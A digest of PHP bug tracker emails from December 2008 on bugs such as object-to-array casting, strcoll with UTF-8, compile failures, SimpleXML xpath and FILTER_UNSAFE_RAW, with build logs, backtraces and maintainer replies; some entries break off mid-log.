http://bugs.php.net/?id=46745&edit=1
#46758 [Opn]: casting object to array messes numeric indexes
ID: 46758
Updated by: [EMAIL PROTECTED]
-Summary: jsondecode
Reported By: markus dot kristo at esportnetwork dot com
Status: Open
-Bug Type: Arrays related
+Bug Type: Scripting Engine problem
-Operating System: Windows XP, Linux
+Operating System: *
PHP Version: 5.2.7
New Comment:
This has nothing to do with JSON at all, same happens with this:
{"1"} = "one";
$foo = (array) $a;
var_dump($foo);
var_dump($foo["1"]);
?>
Previous Comments:
[2008-12-05 10:40:45] markus dot kristo at esportnetwork dot com
Description:
json_encoding and json_decoding an array with string indices as numbers
starting from anything else than zero will create an array that can't be
used to fetch elements from.
Note that this only happens when you cast the resulting object from
json_decode to an array.
Please look at the attached code example for more information about
this bug.
Reproduce code:
---
"one"); // array("0" => "zero") works fine.
$foo = (array) json_decode(json_encode($array));
// $foo = json_decode(json_encode($array), true) works fine
var_dump($foo);
// array(1) {
// ["1"]=>
// string(3) "one"
// }
var_dump($foo["1"]); // Outputs PHP Notice and NULL expected "one"
?>
Expected result:
I expect the last var_dump to output "one"
Actual result:
--
The last var_dump outputs NULL and a PHP Notice "undefined index: 1" is
shown
--
Edit this bug report at http://bugs.php.net/?id=46758&edit=1
#46165 [Bgs]: strcoll() does not work with UTF-8 strings on Windows
ID: 46165 User updated by: gehrig at ishd dot de Reported By: gehrig at ishd dot de Status: Bogus Bug Type: Strings related Operating System: win32 only PHP Version: 5.2.6 Assigned To: pajoye New Comment: Having dug around to sort our this problem I found a notice on the MSDN setlocale, _wsetlocale page which clearly states that setlocale() does not work with multi-byte charsets on Windows: The set of available languages, country/region codes, and code pages includes all those supported by the Win32 NLS API except code pages that require more than two bytes per character, such as UTF-7 and UTF-8. If you provide a code page like UTF-7 or UTF-8, setlocale will fail, returning NULL. The set of language and country/region codes supported by setlocale is listed in Language and Country/Region Strings. Therefore this bug is correctly identified as "bogus". The problem is the Windows CRT and not the PHP setlocale() or strcoll() implementation. Previous Comments: [2008-12-01 11:08:29] [EMAIL PROTECTED] strcoll is not a PHP internal functions but is part of the CRT. PHP's strcoll is only a thin wrapper around it. We have no way to change its behavior or fix it. [2008-12-01 10:54:24] gehrig at ishd dot de It actually IS a PHP issue as this bug describes some software defect in a PHP core function that is intended to deliver the functionality described here: sorting an array on a locale-aware basis using available system locales. You can argue whether it's worth fixing the bug with the upcoming PHP 6 in the pipeline, but simply categorizing this as a non-PHP issue is not correct. [2008-11-30 23:05:38] [EMAIL PROTECTED] Not a php issue, use intl, mbstring or wait php6. [2008-10-29 10:11:46] [EMAIL PROTECTED] I'm not sure it is worth fixing, for many reasons. The first is to get it working on each system in a portable is a real pain (and as Derick pointed out, really not only on windows). My opinion is that all these functions should be deprecated (or strongly recommend to do not be used for anything but ascii) in favour of the new unicode APIs (6.x or partially with intl). [2008-10-29 10:05:26] [EMAIL PROTECTED] POSIX locales, don't really deal with multi byte strings like UTF8 so well, not even on unices. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/46165 -- Edit this bug report at http://bugs.php.net/?id=46165&edit=1
#46770 [Opn->Fbk]: Intel C + + Compiler 11.0 on php 5.2.7
ID: 46770 Updated by: [EMAIL PROTECTED] Reported By: ryo dot wong at i010 dot com -Status: Open +Status: Feedback Bug Type: Compile Failure Operating System: centos 5.2 64bit PHP Version: 5.2.7 New Comment: Try without setting your own CFLAGS, etc. And these paths are invalid: /usr/local/lib (correct path in this case is: /usr/local) Previous Comments: [2008-12-06 03:39:52] ryo dot wong at i010 dot com icc: command line warning #10006: ignoring unknown option '-frpath' icc: command line warning #10006: ignoring unknown option '-frpath' icc: command line warning #10156: ignoring option '-s'; no argument required ipo: warning #11009: file format not recognized for /usr/local/lib ipo: warning #11009: file format not recognized for /usr/local/mysqld/lib64/mysql ld: ext/libxml/.libs/libxml.o: relocation R_X86_64_32 against `a local symbol' can not be used when making a shared object; recompile with -fPIC ext/libxml/.libs/libxml.o: could not read symbols: Bad value make: *** [libphp5.la] Error 1 #!/bin/sh source /opt/intel/Compiler/11.0/074/bin/intel64/iccvars_intel64.sh export CC="icc -static-intel" export CFLAGS="-O3 -unroll2 -ip -restrict -xP" export CXX="icpc -static-intel" export CXXFLAGS="-O3 -unroll2 -ip -restrict -xP" ./configure \ --with-apxs2 \ --with-curl=/usr/local/lib \ --with-gd \ --with-ttf \ --with-gettext \ --with-jpeg-dir=/usr/local/lib \ --with-png-dir=/usr/local/lib \ --with-freetype-dir=/usr/local/lib \ --with-iconv=/usr/local \ --with-zlib \ --with-zlib-dir=/usr/local/lib \ --with-mcrypt \ --with-mhash \ --with-openssl \ --with-kerberos=/usr/lib64 \ --with-mysql=/usr/local/mysqld/lib64/mysql \ --with-mysqli=/usr/local/mysqld/bin/mysql_config \ --with-pdo-mysql=/usr/local/mysqld \ --with-pear \ --enable-bcmath \ --enable-calendar \ --enable-exif \ --enable-ftp \ --enable-gd-native-ttf \ --enable-magic-quotes \ --enable-safe-mode \ --enable-soap \ --enable-sockets \ --enable-mbstring \ --enable-zip \ --enable-wddx \ --disable-ipv6 [2008-12-05 19:28:46] [EMAIL PROTECTED] And the error is? [2008-12-05 17:58:40] ryo dot wong at i010 dot com Description: php 5.2.7 using Intel C + + Compiler 11.0 Professional Edition for Linux compiler error. -- Edit this bug report at http://bugs.php.net/?id=46770&edit=1
#46764 [Bgs->Opn]: attributes() not working properly after xpath()
ID: 46764
Updated by: [EMAIL PROTECTED]
Reported By: maras3000 at gmail dot com
-Status: Bogus
+Status: Open
Bug Type: SimpleXML related
Operating System: Windows XP (not checked others)
PHP Version: 5.2.7
Previous Comments:
[2008-12-08 10:51:22] [EMAIL PROTECTED]
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
[2008-12-05 16:33:42] maras3000 at gmail dot com
You're right, that's a typo :)
You are also right about attributes not having attributes. But in this
case value returned by xpath() should be either array of values or false
or sth else, because if you are getting a SimpleXMLElement in which you
have [EMAIL PROTECTED] which contain what you were looking for and not being
able to access them via attributes() method is somewhat wrong IMO.
[2008-12-05 16:08:53] phpwnd at gmail dot com
I think there are two errors in this reproduce code. First, there's a
typo in the innermost foreach, $atribute instead of $attribute.
Secondly, that XPath expression selects attributes (which explains why
attributes() returns NULL, as attributes cannot have attributes),
whereas it should select nodes. This code works as expected:
Reproduce code:
---
$xml = simplexml_load_file('./test.xml');
foreach ($xml->xpath('//[EMAIL PROTECTED]') as $node)
{
foreach($node->attributes() as $attribute => $value)
echo $attribute . " = " . (string)$value . "\n";
}
[2008-12-05 14:29:47] maras3000 at gmail dot com
Description:
When looking for list of values of a certain attribute in xml via
xpath() method, the returned SimpleXMLElement object's attributes()
method does not properly return array of attributes.
Reproduce code:
---
test.xml:
index.php:
xpath('//@attr');
foreach($result as $node)
{
var_dump($node);
foreach($node->attributes() as $attribute => $value)
echo $atribute . " = " . (string)$value . "\n";
echo "---\n";
}
?>
Expected result:
object(SimpleXMLElement)#2 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "1"
}
}
attr = 1
---
object(SimpleXMLElement)#3 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "2"
}
}
attr = 2
---
object(SimpleXMLElement)#4 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "3"
}
}
attr = 3
---
Actual result:
--
object(SimpleXMLElement)#2 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "1"
}
}
---
object(SimpleXMLElement)#3 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "2"
}
}
---
object(SimpleXMLElement)#4 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "3"
}
}
---
--
Edit this bug report at http://bugs.php.net/?id=46764&edit=1
#42718 [Opn->Asn]: FILTER_UNSAFE_RAW not applied when configured as default filter, even with flags
ID: 42718 Updated by: [EMAIL PROTECTED] Reported By: arnaud dot lb at gmail dot com -Status: Open +Status: Assigned Bug Type: Filter related Operating System: * PHP Version: 5CVS-2008-11-01 Assigned To: pajoye Previous Comments: [2008-12-06 19:20:34] [EMAIL PROTECTED] Yes, revert was the best option for now. I will dig into it on Monday and re read the discussions about that (there was some discussions about this whole thing when we added filter to core). [2008-12-06 19:17:09] [EMAIL PROTECTED] > That's wrong This is exactly what you said one year ago, just before it was demonstrated that FILTER_UNSAFE_RAW actually does something (according to documentation, code, and examples), and the bug has been assigned to you. That said, I'm not rejecting the fault on anyone, and the important is to revert, which is done. [2008-12-06 18:25:20] [EMAIL PROTECTED] ooch. I did not catch in this bug before, but there is a major misunderstanding in the first comment. "The unsafe_raw filter does nothing by default, but it can "optionally strip or encode special characters", and it is the only filter which is able to do that without doing any other filtering." That's wrong. UNSAFE_RAW, the key word here is RAW. It means that the data is returned unfiltered, without flag, nothing, nada. If this behavior has been changed then please revert it. I did not check if it is present in 5.2.7 (it seems to be, as said in this report or another), that may require a quick fix release (Ilia?). [2008-12-06 17:52:37] [EMAIL PROTECTED] All my apologizes for this broken fix. A quick workaround for 5.2.7 users is to add the following in the php.ini: filter.default_flags=0 Scott has reverted this and this bug is not present in CVS. [2008-12-06 17:32:55] [EMAIL PROTECTED] This is a proposed fix for this bug that will keep old behavior. Another fix could be simply to test IF_G(default_filter_flags) against FILTER_FLAG_NO_ENCODE_QUOTES instead of 0. http://ookoo.org/svn/snip/php_5_2-broken_filter_and_magic_quotes.patch The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/42718 -- Edit this bug report at http://bugs.php.net/?id=42718&edit=1
#46677 [Opn->Fbk]: Can not make install php5.2.6
ID: 46677 Updated by: [EMAIL PROTECTED] Reported By: chunhuan dot pan at alcatel-sbell dot com dot cn -Status: Open +Status: Feedback Bug Type: Compile Failure Operating System: HP-UX 11.23 PHP Version: 5.2.6 New Comment: Now, can you please provide the requested _backtrace_ finally? In gdb using command 'bt'.. Previous Comments: [2008-12-04 01:57:58] chunhuan dot pan at alcatel-sbell dot com dot cn Trace No.2 Step 1: bash-3.2# ./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache2/bin/apxs --enable-debug Step 2: bash-3.2# make Step 3: bash-3.2# make test begin chunhuap*** = EXPECTED FAILED TEST SUMMARY - SPL: ArrayObject::__construct basic usage with ArrayObject::ARRAY_AS_PROPS. [ext/spl/tests/arrayObject___construct_basic4.phpt] SPL: ArrayObject::__construct basic usage with ArrayObject::STD_PROP_LIST|ArrayObject::ARRAY_AS_PROPS. [ext/spl/tests/arrayObject___construct_basic5.phpt] SPL: ArrayObject::exchangeArray() basic usage with object as underlying data store. [ext/spl/tests/arrayObject_exchangeArray_basic3.phpt] SPL: ArrayObject::setFlags basic usage with ArrayObject::ARRAY_AS_PROPS. [ext/spl/tests/arrayObject_setFlags_basic1.phpt] = You may have found a problem in PHP. We would like to send this report automatically to the PHP QA team, to give us a better understanding of how the test cases are doing. If you don't want to send it immediately, you can choose "s" to save the report to a file that you can send us later. Do you want to send this report now? [Yns]: end chunhuap*** Step 4: bash-3.2# make install Begin chunhuap*** Installing PHP SAPI module: apache2handler /usr/local/apache2/build/instdso.sh SH_LIBTOOL='/usr/local/apache2/build/libtool' libphp5.la /usr/local/apache2/modules /usr/local/apache2/build/libtool --mode=install cp libphp5.la /usr/local/apache2/modules/ cp .libs/libphp5.lai /usr/local/apache2/modules/libphp5.la cp .libs/libphp5.a /usr/local/apache2/modules/libphp5.a ranlib /usr/local/apache2/modules/libphp5.a chmod 644 /usr/local/apache2/modules/libphp5.a libtool: install: warning: remember to run `libtool --finish /opt/pkg_list/php5.2-200811272330/libs' Warning! dlname not found in /usr/local/apache2/modules/libphp5.la. Assuming installing a .so rather than a libtool archive. chmod 755 /usr/local/apache2/modules/libphp5.so [activating module `php5' in /usr/local/apache2/conf/httpd.conf] Installing PHP CLI binary:/usr/local/php/bin/ Installing PHP CLI man page: /usr/local/php/man/man1/ Installing build environment: /usr/local/php/lib/php/build/ Installing header files: /usr/local/php/include/php/ Installing helper programs: /usr/local/php/bin/ program: phpize program: php-config Installing man pages: /usr/local/php/man/man1/ page: phpize.1 page: php-config.1 Installing PEAR environment: /usr/local/php/lib/php/ No download utilities found. Don't know how to download PEAR archive. +--+ | The installation process is incomplete. The following resources were | | not installed: | | | | PEAR: PHP Extension and Application Repository | | | | To install these components, | | download http://pear.php.net/install-pear.phar to php-src/pear/ | | become the superuser and execute: | | | | # make install-su | +--+ Installing PDO headers: /usr/local/php/include/php/ext/pdo/ End chunhuap*** Step 5; Analyse core file Begin chunhuap*** bash-3.2# gdb /usr/local/php/bin/php core HP gdb 5.4.0 for HP Itanium (32 or 64 bit) and target HP-UX 11.2x. Copyright 1986 - 2001 Free Software Foundation, Inc. Hewlett-Packard Wildebeest 5.4.0 (based on GDB) is covered by the GNU General Public License. Type "show copying" to see the conditions to change it and/or distribute copies. Type "show warranty" for warranty/support. .. warning: exec file is newer than core file. Core was generate
#46746 [Opn->Ver]: xmlrpc_decode_request outputs non-suppressable error when given bad data
ID: 46746 Updated by: [EMAIL PROTECTED] Reported By: pickscrape at gmail dot com -Status: Open +Status: Verified -Bug Type: Output Control +Bug Type: XMLRPC-EPI related -Operating System: Linux +Operating System: * -PHP Version: 5.2.6 +PHP Version: 5CVS,6CVS (2008-12-08) New Comment: ext/xmlrpc/libxmlrpc/xml_element.c:729 has fprintf() which dumps the errors to STDERR. Previous Comments: [2008-12-04 00:05:17] pickscrape at gmail dot com Description: When calling xmlrpc_decode_request with invalid XML data, the following error is output to STDERR: expat reports error code 4 description: Empty document line: 1 column: 1 byte index: 0 total bytes: 0 data beginning 0 before byte index: dfsdffsd There seems to be no way to turn it off: I want to be able to handler the error myself, and do not want the error message cluttering the output needlessly. Reproduce code: --- Expected result: For there to be some way to turn this error message off, or have it redirected to a variable or accessible via some library call. Actual result: -- expat reports error code 4 description: Empty document line: 1 column: 1 byte index: 0 total bytes: 0 data beginning 0 before byte index: dfsdffsd -- Edit this bug report at http://bugs.php.net/?id=46746&edit=1
#46744 [Opn->WFx]: make fail when using ./buildconf --force and autoconf262
ID: 46744 Updated by: [EMAIL PROTECTED] Reported By: sentomas at hotmail dot com -Status: Open +Status: Wont fix Bug Type: Compile Failure Operating System: FreeBSD 7.1 PHP Version: 5.2.6 New Comment: Only autoconf 2.13 is "officially" supported. Any other versions used -> you're on your own. And basically if you have to use buildconf you're already doing something you shouldn't or you really know what you are doing. :) Previous Comments: [2008-12-03 20:51:31] sentomas at hotmail dot com Description: autoconf 2.6.2 just won't work with php 5.2.6 after use ./buildconf --force to rebuild configure for static extension build. will got : /php-5.2.6/ext/posix/posix.c: In function 'zif_posix_uname': /php-5.2.6/ext/posix/posix.c:471: error: 'struct utsname' has no member named 'domainname' Reproduce code: --- os with autoconf 2.6.2 rm configure ./buildconf --force ./configure make -- Edit this bug report at http://bugs.php.net/?id=46744&edit=1
#46764 [Opn->Bgs]: attributes() not working properly after xpath()
ID: 46764
Updated by: [EMAIL PROTECTED]
Reported By: maras3000 at gmail dot com
-Status: Open
+Status: Bogus
Bug Type: SimpleXML related
Operating System: Windows XP (not checked others)
PHP Version: 5.2.7
New Comment:
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
Previous Comments:
[2008-12-05 16:33:42] maras3000 at gmail dot com
You're right, that's a typo :)
You are also right about attributes not having attributes. But in this
case value returned by xpath() should be either array of values or false
or sth else, because if you are getting a SimpleXMLElement in which you
have [EMAIL PROTECTED] which contain what you were looking for and not being
able to access them via attributes() method is somewhat wrong IMO.
[2008-12-05 16:08:53] phpwnd at gmail dot com
I think there are two errors in this reproduce code. First, there's a
typo in the innermost foreach, $atribute instead of $attribute.
Secondly, that XPath expression selects attributes (which explains why
attributes() returns NULL, as attributes cannot have attributes),
whereas it should select nodes. This code works as expected:
Reproduce code:
---
$xml = simplexml_load_file('./test.xml');
foreach ($xml->xpath('//[EMAIL PROTECTED]') as $node)
{
foreach($node->attributes() as $attribute => $value)
echo $attribute . " = " . (string)$value . "\n";
}
[2008-12-05 14:29:47] maras3000 at gmail dot com
Description:
When looking for list of values of a certain attribute in xml via
xpath() method, the returned SimpleXMLElement object's attributes()
method does not properly return array of attributes.
Reproduce code:
---
test.xml:
index.php:
xpath('//@attr');
foreach($result as $node)
{
var_dump($node);
foreach($node->attributes() as $attribute => $value)
echo $atribute . " = " . (string)$value . "\n";
echo "---\n";
}
?>
Expected result:
object(SimpleXMLElement)#2 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "1"
}
}
attr = 1
---
object(SimpleXMLElement)#3 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "2"
}
}
attr = 2
---
object(SimpleXMLElement)#4 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "3"
}
}
attr = 3
---
Actual result:
--
object(SimpleXMLElement)#2 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "1"
}
}
---
object(SimpleXMLElement)#3 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "2"
}
}
---
object(SimpleXMLElement)#4 (1) {
["@attributes"]=>
array(1) {
["attr"]=>
string(1) "3"
}
}
---
--
Edit this bug report at http://bugs.php.net/?id=46764&edit=1
#46796 [Opn->Fbk]: make test: Error 137 ignored
ID: 46796 Updated by: [EMAIL PROTECTED] Reported By: isjackawesome at gmail dot com -Status: Open +Status: Feedback -Bug Type: Sockets related +Bug Type: Streams related Operating System: Linux/Ubuntu 8.04 PHP Version: 5.2.6 New Comment: Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://windows.php.net/snapshots/ Previous Comments: [2008-12-08 13:48:27] isjackawesome at gmail dot com Description: Compiled with: ./configure with-apxs2=/usr/local/server/apache2/bin/apxs with- mysqli=/usr/local/server/mysql/bin/mysql_config enable-debug=no -- with-mcrypt=/usr/local/server/libmcrypt enable-ftp with-gd with- jpeg-dir=/usr/local with-png-dir=/usr/local with-zlib- dir=/usr/local --enable-shared --enable-static make - works no errors make test, stalls on stream_get_meta_data_socket_variation1 (3912/4619) Reproduce code: --- TEST 3912/4619 [ext/standard/tests/streams/stream_get_meta_data_socket_variationOut of memory: Killed process 4398 (php). /bin/sh: line 18: 4398 Killed TEST_PHP_EXECUTABLE=/root/downloads/php-5.2.6/sapi/cli/php TEST_PHP_SRCDIR=/root/downloads/php-5.2.6 CC="gcc" /root/downloads/php-5.2.6/sapi/cli/php -d 'open_basedir=' -d 'output_buffering=0' -d 'memory_limit=-1' /root/downloads/php-5.2.6/run-tests.php -c /root/downloads/php-5.2.6/tmp-php.ini -U -d extension_dir=/root/downloads/php-5.2.6/modules/ ` if test "x" != "x"; then for i in ""; do . $i; /root/downloads/php-5.2.6/build/shtool echo -n -- " -d extension=$dlname"; done; fi` make: [test] Error 137 (ignored) -- Edit this bug report at http://bugs.php.net/?id=46796&edit=1
#46793 [Com]: Make fails with mysql and GD together
ID: 46793 Comment by: jthomsen at cox dot net Reported By: jthomsen at cox dot net Status: Feedback Bug Type: Compile Failure Operating System: Mac OS X 10.5.5 PHP Version: 5.2.7 New Comment: I tried that already, and unfortunately it has no effect. I have also tried using a clean source, i.e. one I just uncompressed. Previous Comments: [2008-12-08 10:38:23] [EMAIL PROTECTED] make clean [2008-12-08 04:22:02] jthomsen at cox dot net Description: When I try to install the mySql and GD modules together, make fails. ./configure '--prefix=/usr' '--mandir=/usr/share/man' '-- infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-mysql- sock=/var/mysql' '--with-mysql=/usr/local/mysql' '--with- mysqli=/usr/local/mysql/bin/mysql_config' '--with-gd' '-with-png- dir=/sw' '--with-jpeg-dir=/sw' '--with-freetype-dir=/sw/lib/freetype2' But, I can run make successfully if I install mySql or GD: ./configure '--prefix=/usr' '--mandir=/usr/share/man' '-- infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-gd' '- with-png-dir=/sw' '--with-jpeg-dir=/sw' '--with-freetype- dir=/sw/lib/freetype2' or: ./configure '--prefix=/usr' '--mandir=/usr/share/man' '-- infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-mysql- sock=/var/mysql' '--with-mysql=/usr/local/mysql' '--with- mysqli=/usr/local/mysql/bin/mysql_config' Reproduce code: --- ./configure '--prefix=/usr' '--mandir=/usr/share/man' '--infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-mysql-sock=/var/mysql' '--with-mysql=/usr/local/mysql' '--with-mysqli=/usr/local/mysql/bin/mysql_config' '--with-gd' '-with-png-dir=/sw' '--with-jpeg-dir=/sw' '--with-freetype-dir=/sw/lib/freetype2' make Expected result: a successful compile Actual result: -- Undefined symbols: "_mysql_set_local_infile_handler", referenced from: _php_set_local_infile_handler_default in mysqli.o "_mysql_enable_rpl_parse", referenced from: _zif_mysqli_enable_rpl_parse in mysqli_repl.o "_mysql_server_end", referenced from: _zm_shutdown_mysql in php_mysql.o _zm_shutdown_mysqli in mysqli.o "_mysql_stmt_close", referenced from: _php_clear_stmt_bind in mysqli.o _zif_mysqli_prepare in mysqli_api.o _zif_mysqli_stmt_close in mysqli_api.o "_mysql_set_server_option", referenced from: _zif_mysqli_real_query in mysqli_api.o _zif_mysqli_multi_query in mysqli_nonapi.o _zif_mysqli_multi_query in mysqli_nonapi.o _zif_mysqli_query in mysqli_nonapi.o "_mysql_set_character_set", referenced from: _zif_mysql_set_charset in php_mysql.o _zif_mysqli_set_charset in mysqli_nonapi.o "_mysql_stmt_fetch", referenced from: _zif_mysqli_stmt_fetch in mysqli_api.o "_mysql_stmt_field_count", referenced from: _zif_mysqli_stmt_field_count in mysqli_api.o _zif_mysqli_stmt_store_result in mysqli_api.o _zif_mysqli_stmt_bind_result in mysqli_api.o _stmt_field_count_read in mysqli_prop.o "_mysql_rpl_query_type", referenced from: _zif_mysqli_rpl_query_type in mysqli_repl.o "_mysql_get_client_version", referenced from: _zif_mysqli_get_client_version in mysqli_api.o "_mysql_next_result", referenced from: _zif_mysqli_next_result in mysqli_api.o "_mysql_enable_reads_from_master", referenced from: _zif_mysqli_enable_reads_from_master in mysqli_repl.o "_mysql_stmt_errno", referenced from: _zif_mysqli_stmt_errno in mysqli_api.o _stmt_errno_read in mysqli_prop.o "_mysql_stmt_error", referenced from: _zif_mysqli_stmt_error in mysqli_api.o _stmt_error_read in mysqli_prop.o "_mysql_ssl_set", referenced from: _zif_mysqli_ssl_set in mysqli_api.o "_mysql_stmt_store_result", referenced from: _zif_mysqli_stmt_store_result in mysqli_api.o "_mysql_warning_count", referenced from: _zif_mysqli_warning_count in mysqli_api.o _link_warning_count_read in mysqli_prop.o _zif_mysqli_get_warnings in mysqli_nonapi.o _zif_mysqli_stmt_get_warnings in mysqli_nonapi.o _zim_mysqli_warning___construct in mysqli_warning.o "_mysql_stmt_init", referenced from: _zif_mysqli_stmt_construct in mysqli.o _zif_mysqli_stmt_construct in mysqli.o _zif_mysqli_prepare in mysqli_api.o _zif_mysqli_stmt_init in mysqli_api.o "_mysql_stmt_prepare", referenced from: _zif_mysqli_stmt_construct in mysqli.o _zif_mysqli_prepare in mysqli_api.o _zif_mysqli_stmt_prepare in mysqli_api.o "_mysql_stmt_sqlstate", referenced from: _zif_mysqli_stmt_sqlstate in mysqli_api.o _stmt_sqlstate_read in mysqli_prop.o "_mysql_server_init", referenced from: _zm_startup_mysql in php_mysql.o _zm_startup_mysqli in
#46797 [NEW]: APC fails to compile
From: stanlemon at mac dot com Operating system: Mac OS X 10.5.5 PHP version: 5.3.0alpha3 PHP Bug Type: Compile Failure Bug description: APC fails to compile Description: When trying to compile APC for PHP 5.3.0alpha3 on Mac OS X 10.5.5 with Apache 2.2.10prefork compilation fails. Reproduce code: --- Lil-Lemon:APC-3.0.19 stan$ /usr/local/php/bin/phpize Configuring for: PHP Api Version: 20041225 Zend Module Api No: 20071006 Zend Extension Api No: 220070929 Lil-Lemon:APC-3.0.19 stan$ ./configure --prefix=/usr/local/php && make checking for grep that handles long lines and -e... /usr/bin/grep checking for egrep... /usr/bin/grep -E checking for a sed that does not truncate output... /usr/bin/sed checking for cc... cc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables... checking for suffix of object files... o checking whether we are using the GNU C compiler... yes checking whether cc accepts -g... yes checking for cc option to accept ISO C89... none needed checking how to run the C preprocessor... cc -E checking for icc... no checking for suncc... no checking whether cc understands -c and -o together... yes checking for system library directory... lib checking if compiler supports -R... no checking if compiler supports -Wl,-rpath,... yes checking build system type... i686-apple-darwin9.5.0 checking host system type... i686-apple-darwin9.5.0 checking target system type... i686-apple-darwin9.5.0 checking for PHP prefix... /usr/local/php-5.3.0alpha3 checking for PHP includes... -I/usr/local/php-5.3.0alpha3/include/php -I/usr/local/php-5.3.0alpha3/include/php/main -I/usr/local/php-5.3.0alpha3/include/php/TSRM -I/usr/local/php-5.3.0alpha3/include/php/Zend -I/usr/local/php-5.3.0alpha3/include/php/ext -I/usr/local/php-5.3.0alpha3/include/php/ext/date/lib checking for PHP extension directory... /usr/local/php-5.3.0alpha3/lib/php/extensions/no-debug-non-zts-20071006 checking for PHP installed headers prefix... /usr/local/php-5.3.0alpha3/include/php checking if debug is enabled... no checking if zts is enabled... no checking for re2c... no configure: WARNING: You will need re2c 0.13.4 or later if you want to regenerate PHP parsers. checking for gawk... no checking for nawk... no checking for awk... awk checking if awk is broken... no checking whether apc needs to get compiler flags from apxs... no checking whether to enable APC support... yes, shared checking Checking whether we should enable cache request file info... no checking Checking whether we should use mmap... yes checking Checking whether we should use semaphore locking instead of fcntl... no checking Checking whether we should use futex locking... no checking Checking whether we should use pthread mutex locking... yes Unable to set PTHREAD_PROCESS_SHARED (pthread_mutexattr_setpshared), your system may not support shared mutex's. configure: WARNING: It doesn't appear that pthread mutex's are supported on your system checking Checking whether we should use spin locks... no checking for sigaction... yes checking for union semun... yes checking whether we should enable valgrind support... no checking for shm_open in -lrt... no checking for ld used by cc... /usr/libexec/gcc/i686-apple-darwin9/4.0.1/ld checking if the linker (/usr/libexec/gcc/i686-apple-darwin9/4.0.1/ld) is GNU ld... no checking for /usr/libexec/gcc/i686-apple-darwin9/4.0.1/ld option to reload object files... -r checking for BSD-compatible nm... /usr/bin/nm -p checking whether ln -s works... yes checking how to recognise dependent libraries... pass_all checking dlfcn.h usability... yes checking dlfcn.h presence... yes checking for dlfcn.h... yes checking the maximum length of command line arguments... 196608 checking command to parse /usr/bin/nm -p output from cc object... ok checking for objdir... .libs checking for ar... ar checking for ranlib... ranlib checking for strip... strip checking if cc static flag works... yes checking if cc supports -fno-rtti -fno-exceptions... no checking for cc option to produce PIC... -fno-common checking if cc PIC flag -fno-common works... yes checking if cc supports -c -o file.o... yes checking whether the cc linker (/usr/libexec/gcc/i686-apple-darwin9/4.0.1/ld) supports shared libraries... yes checking dynamic linker characteristics... darwin9.5.0 dyld checking how to hardcode library paths into programs... immediate checking whether stripping libraries is possible... yes checking if libtool supports shared libraries... yes checking whether to build shared libraries... yes checking whether to build static libraries... no creating libtool appending configuration tag "CXX" to libtool configure: creating ./config.status config.status: creating config.h config.status: config.h is unchanged /bin/sh /Users/stan/Downloads/APC-3.0.19/libtool --mode=compile cc -I. -I/Users
#46753 [Fbk->Opn]: weird crash when calling is_subclass_of under very specific conditions
ID: 46753 User updated by: essen at dev-extend dot eu Reported By: essen at dev-extend dot eu -Status: Feedback +Status: Open Bug Type: Reproducible crash Operating System: Linux Ubuntu 8.10 PHP Version: 5.2.6 New Comment: Exactly the same problem using the snapshot. The problem also occurs from the command line (both on 5.2.6 and using the snapshot). The "bt full" made using this snapshot is available at the following address: http://blog.extend.ws/~essen/bug46753btfull.txt I can try to isolate the code leading to the segfault if you need it, but it's not going to be an easy task as it crashes inside classes querying metadata information from a MySQL database, and also because the same code works without problem for a different page. Previous Comments: [2008-12-08 11:34:58] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://windows.php.net/snapshots/ [2008-12-05 00:23:16] essen at dev-extend dot eu Description: I encountered a strange crash. I can reproduce it, it always happens, but only under very specific conditions. It first happened when I changed a completely unrelated part of my code in a different file of the project. PHP crash on an is_subclass_of call. This call worked correctly before my changes, and still works correctly on the other pages. Other is_subclass_of works fine too. I'm not sure what trigger this, as I've only changed a few methods, nothing changing the outcome of the script... Another thing. If I add a require_once before the is_subclass_of call, there is no crash. The crash only happens when the class isn't defined in the current script, which should and does trigger the autoload callback to load the class. The class is successfully loaded by the callback, the crash happens only after. I'm not sure what more can I say. If you need further details, feel free to ask. Actual result: -- Core was generated by `/usr/sbin/apache2 -k start'. Program terminated with signal 11, Segmentation fault. [New process 19175] #0 0xb72c372a in is_a_impl (ht=-47466807, return_value=0xb9a602b0, return_value_ptr=0x0, this_ptr=0x0, return_value_used=1, only_subclass=1 '\001') at /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c:657 657 /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c: No such file or directory. in /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c (gdb) bt #0 0xb72c372a in is_a_impl (ht=-47466807, return_value=0xb9a602b0, return_value_ptr=0x0, this_ptr=0x0, return_value_used=1, only_subclass=1 '\001') at /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c:657 #1 0xb72ecba3 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf854fd8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:200 #2 0xb72d803b in execute 